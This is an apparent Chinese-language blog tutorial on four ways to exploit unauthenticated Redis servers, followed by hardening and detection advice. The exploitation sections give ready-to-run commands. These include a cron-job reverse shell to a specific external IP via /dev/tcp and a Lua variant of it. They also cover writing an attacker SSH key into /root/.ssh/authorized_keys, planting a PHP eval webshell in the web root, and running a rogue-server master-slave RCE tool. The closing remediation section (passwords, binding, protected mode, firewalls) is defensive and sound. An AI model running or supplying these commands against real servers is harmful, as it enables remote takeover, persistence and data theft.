Redis未授权四种利用方式与修复方案

Redis

想整理一波Redis利用方式,在内网中很容易遇见(方便运维人员)
简介:redis是一个key-value存储系统,nosql - 非关系型数据库,支持存储的value类型相对更多,包括string、list、set、zset和hash。这些数据类型都支持push/pop、add/remove及交并差和更丰富的操作,且操作都是原子性。为了保证效率,数据都是缓存在内存中,区别是redis会周期性的把更新的数据写入磁盘或者把修改写入追加的记录文件,并在这个基础上实现了master-slave(主从)同步,后面也会说关于主从的rce。

Redis基本操作

  • set testkey “hello” - 创建一个键值对
  • keys * 显示所有键
  • delxxx 删除键为key的数据
  • get xxx 读key的内容
  • config set dir /home/test 设置工作目录
  • config set dbfilename redis.rdb 设置备份为减价
  • save 进行一次备份操作

1、 set和get可以完成基本的赋值取值操作
2、Redis不区分大小写
3、keys * 可以列出所有键
4、键值中有空格 需要使用双引号连起来

利用方式一:反弹Shell

靶机redis相关配置文件修改

后面其他利用方式配置文件如下
通过redis反弹shell回来
首先确定redis版本,低版本可以直接利用,高版本在搭建完靶场后需要修改配置:
1.修改redis.conf文件,添加自己的ip进去,否则默认只能本地连接

2.关闭保护模式,否则无法连接进去
yes改为no

3.132行no改为yes,只有这样才可以修改配置文件

如果不修改这一步,会报错
(error) ERR CONFIG SET failed (possibly related to argument ‘dir’) - can’t set protected config

当然,如果你没有这一行,证明你的版本没有此保护,可以忽略这一步操作。
这是高版本redis的保护机制,所以目前redis未授权的反弹shell或是写入ssh都只能在低版本利用,同时反弹shell对系统要求也有限制,这里只成功在centos中复现成功。
修改完配置

反弹shell

进行反弹SHELL操作
首先,在你接受shell的机器打开监听,我这里监听3333端口

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/38.22.133.155/3333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

当然还可以调用lua语句

#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。
 eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'

将反弹shell指令加入计划任务
成功弹回shell

利用方式二:Redis密钥写入ssh

利用条件:
1、Redis服务使⽤ROOT账号启动、且可未授权登陆
2、服务器开放了SSH服务,⽽且允许使⽤密钥登录,即可远程写⼊⼀个公钥,直接登录远程 服务器。
生成密钥公钥

ssh-keygen -t rsa

防止乱码

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt

导入内容到redis数据库
cat key.txt | redis-cli -h 192.168.1.74 -a 123456 -x set ssh
-a 是登陆密码,没有可以不填
回显为OK
然后接下来,保存到目录下

redis:6379> config set dir /root/.ssh
redis:6379> config set dbfilename authorized_keys 
redis:6379> save

这时候就大功告成了,直接ssh连入

利用方式三: Redis写WEBSHELL

这种方式需要知道网站物理路径
获取网站路径方式:1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏

redis:6379> config set dir /var/www/html/
redis:6379> config set dbfilename shell.php
redis:6379> set x "<?php phpinfo();eval($_POST['ant']);?>"
redis:6379> save

利用方式四:主从复制RCE

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指一个redis作为主机,其他为备份机,主从数据相同,从机去读,主机写。在Redis4.x之后,通过外部扩展,可以实现redis中实现一个新的redis命令,构造恶意.so文件,在两个redis实例设置主从模式,redis主机实例可以通过FULLRESYNC同步文件到从机上,在从机家在恶意so文件,从而执行文件。

影响版本:redis<=5.05

工具下载:
https://github.com/n0b0dyCN/redis-rogue-server

$  python3 redis-rogue-server.py --rhost 192.168.0.109 --lhost 192.168.0.145

Redis安全设置

1、单独为redis设置一个普通账户,不要用root,如果被爆破密码,权限过高
2、设置本地localhost 不允许外部访问
3、 开启保护模式,即配置文件中protected-mode一定设置为yes
4、 设置高强度password - requirepass参数
5、 修改redis默认端口,不用6379

做到上面五步,就很难被攻入

### Redis 未授权访问漏洞解决方案预防方法 #### 检测 Redis 未授权访问漏洞 为了有效检测 Redis 实例是否存在未授权访问漏洞,可以采取以下措施: - **网络扫描工具**:使用 Nmap 或其他类似的网络安全扫描工具来识别开放的 Redis 端口,默认情况下为 6379。如果此端口对外网可见,则可能存在风险[^1]。 - **尝试连接测试**:通过命令行客户端或其他编程接口直接向目标 IP 地址发送请求并接收响应数据包;若能成功获取到服务器返回的信息而无需身份验证,则说明存在安全隐患。 ```bash redis-cli -h <target_ip> ``` #### 利用 Redis 未授权访问漏洞的风险评估 一旦确认了 Redis 存在一个可被外部访问且不需要认证就能操作的情况,攻击者可能会执行如下恶意行为: - 获取敏感信息:读取配置文件、数据库备份等重要资料; - 修改键值对内容:篡改业务逻辑所需的数据存储结构; - 执行任意代码:当启用了 Lua 脚本支持功能时,可能允许远程执行系统级指令; - 进一步渗透内网环境:作为跳板机进一步探索内部资源和服务。 这些潜在威胁严重违反了信息安全原则中的保密性和完整性要求,并可能导致严重的经济损失和社会影响。 #### 解决方案防护策略 针对上述提到的安全隐患,建议实施以下改进措施以增强系统的安全性: - **设置密码保护机制**:修改 `requirepass` 参数指定一个强健复杂的字符串作为登录凭证,在每次发起请求之前都需要提供正确的凭据才能继续交互过程。 ```conf requirepass your_strong_password_here ``` - **绑定本地地址监听**:除非确实有必要让公网能够触及到 Redis 服务实例,否则应当将其限定于仅限局域网内的特定主机之间通信,即把 bind 配置项设为空白或 localhost 即可实现这一目的。 ```conf bind 127.0.0.1 ::1 ``` - **启用防火墙规则控制流量进出方向**:借助 iptables/AWS Security Groups 等手段严格限制哪些源IP范围才具备合法权限去接触Redis进程所占用的那个TCP端口号上的套接字对象。 - **定期审查日志记录情况**:开启慢查询日志以及常规的操作历史追踪特性有助于及时发现异常活动迹象以便快速做出反应处理。 - **更新至最新稳定版软件发行版本**:官方团队会持续不断地修复已知缺陷和优化性能表现,因此保持应用程序处于最新的状态对于维护整体架构稳健至关重要。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值